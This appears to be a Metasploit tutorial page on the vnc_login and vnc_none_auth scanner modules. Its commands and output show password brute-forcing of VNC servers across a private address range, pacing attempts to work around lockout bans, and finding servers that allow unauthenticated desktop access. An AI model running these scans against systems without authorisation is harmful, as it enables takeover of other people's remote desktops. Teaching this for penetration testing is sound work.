Scanner VNC Auxiliary Modules a11y.text Scanner VNC Auxiliary Modules vnc_login a11y.text vnc_login The vnc_login auxiliary module will scan an IP address or range of addresses and attempt to login via VNC with either a provided password or a wordlist.

```
msf > use
auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

   Name              Current Setting                                                  Required  Description
   ----              ---------------                                                  --------  -----------
   BLANK_PASSWORDS   false                                                            no        Try blank passwords
for all users
   BRUTEFORCE_SPEED  5                                                                yes       How fast to
bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                            no        Try each user/password
couple stored in the current database
   DB_ALL_PASS       false                                                            no        Add all passwords in the
current database to the list
   DB_ALL_USERS      false                                                            no        Add all users in the
current database to the list
   PASSWORD                                                                           no        The password to test
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt  no        File
containing passwords, one per line
   Proxies                                                                            no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS                                                                             yes       The target address range or
```

```
CIDR identifier
  RPORT           5900                                          yes       The target port (TCP)
  STOP_ON_SUCCESS   false                                          yes       Stop guessing when a
credential works for a host
  THREADS          1                                            yes       The number of concurrent
threads
  USERNAME                                                      no        A specific username to
authenticate as
  USERPASS_FILE                                                   no        File containing users and
passwords separated by space, one pair per line
  USER_AS_PASS      false                                          no        Try the username as the
password for all users
  USER_FILE                                                     no        File containing usernames, one
per line
  VERBOSE          true                                          yes       Whether to print output for all
attempts
```

We set our target range, threads, and perhaps most importantly, the BRUTEFORCE_SPEED value. Many newer VNC servers will automatically ban further login attempts if too many failed ones are made consecutively.

```
msf auxiliary(vnc_login) > set RHOSTS
192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(vnc_login) > set THREADS 11
THREADS => 11
msf auxiliary(vnc_login) > set BRUTEFORCE_SPEED 1
BRUTEFORCE_SPEED => 1
```

With our module configuration set, we run the module. Notice in the output below that Metasploit automatically adjusts the retry interval after being notified of too many failed login attempts.

```
msf auxiliary(vnc_login) > run
```

```
[*] 192.168.1.200:5900 - Starting VNC login sweep
[*] 192.168.1.204:5900 - Starting VNC login sweep
[*] 192.168.1.206:5900 - Starting VNC login sweep
[*] 192.168.1.207:5900 - Starting VNC login sweep
[*] 192.168.1.205:5900 - Starting VNC login sweep
[*] 192.168.1.208:5900 - Starting VNC login sweep
[*] 192.168.1.202:5900 - Attempting VNC login with password 'password'
[*] 192.168.1.209:5900 - Starting VNC login sweep
[*] 192.168.1.200:5900 - Attempting VNC login with password 'password'
...snip...
[-] 192.168.1.201:5900, No authentication types available: Too many security failures
[-] 192.168.1.203:5900, No authentication types available: Too many security failures
[*] Retrying in 17 seconds...
...snip...
[*] 192.168.1.203:5900 - Attempting VNC login with password 's3cr3t'
[*] 192.168.1.203:5900, VNC server protocol version : 3.8
[+] 192.168.1.203:5900, VNC server password : "s3cr3t"
[*] 192.168.1.201:5900 - Attempting VNC login with password 's3cr3t'
[*] 192.168.1.201:5900, VNC server protocol version : 3.8
[+] 192.168.1.201:5900, VNC server password : "s3cr3t"
[*] Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_login) >
```

As the above output indicates, we have turned up the password for 2 systems in our scanned range which will give us a nice GUI to the target machines. vnc_none_auth a11y.text vnc_none_auth The vnc_none_auth scanner, as its name implies, scans a range of hosts for VNC servers that do not have any authentication set on them.

```
msf auxiliary(vnc_none_auth) > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    5900             yes       The target port
   THREADS  1                yes       The number of concurrent threads
```

To run our scan, we simply set the RHOSTS and THREADS values and let it run.

```
msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(vnc_none_auth) > set THREADS 50
THREADS => 50
msf auxiliary(vnc_none_auth) > run

[*] 192.168.1.121:5900, VNC server protocol version : RFB 003.008
[*] 192.168.1.121:5900, VNC server security types supported : None, free access!
[*] Auxiliary module execution completed
```

In our scan results, we see that one of our targets has wide open GUI access. Next Server Capture Auxiliary Modules Prev Scanner VMware Auxiliary Modules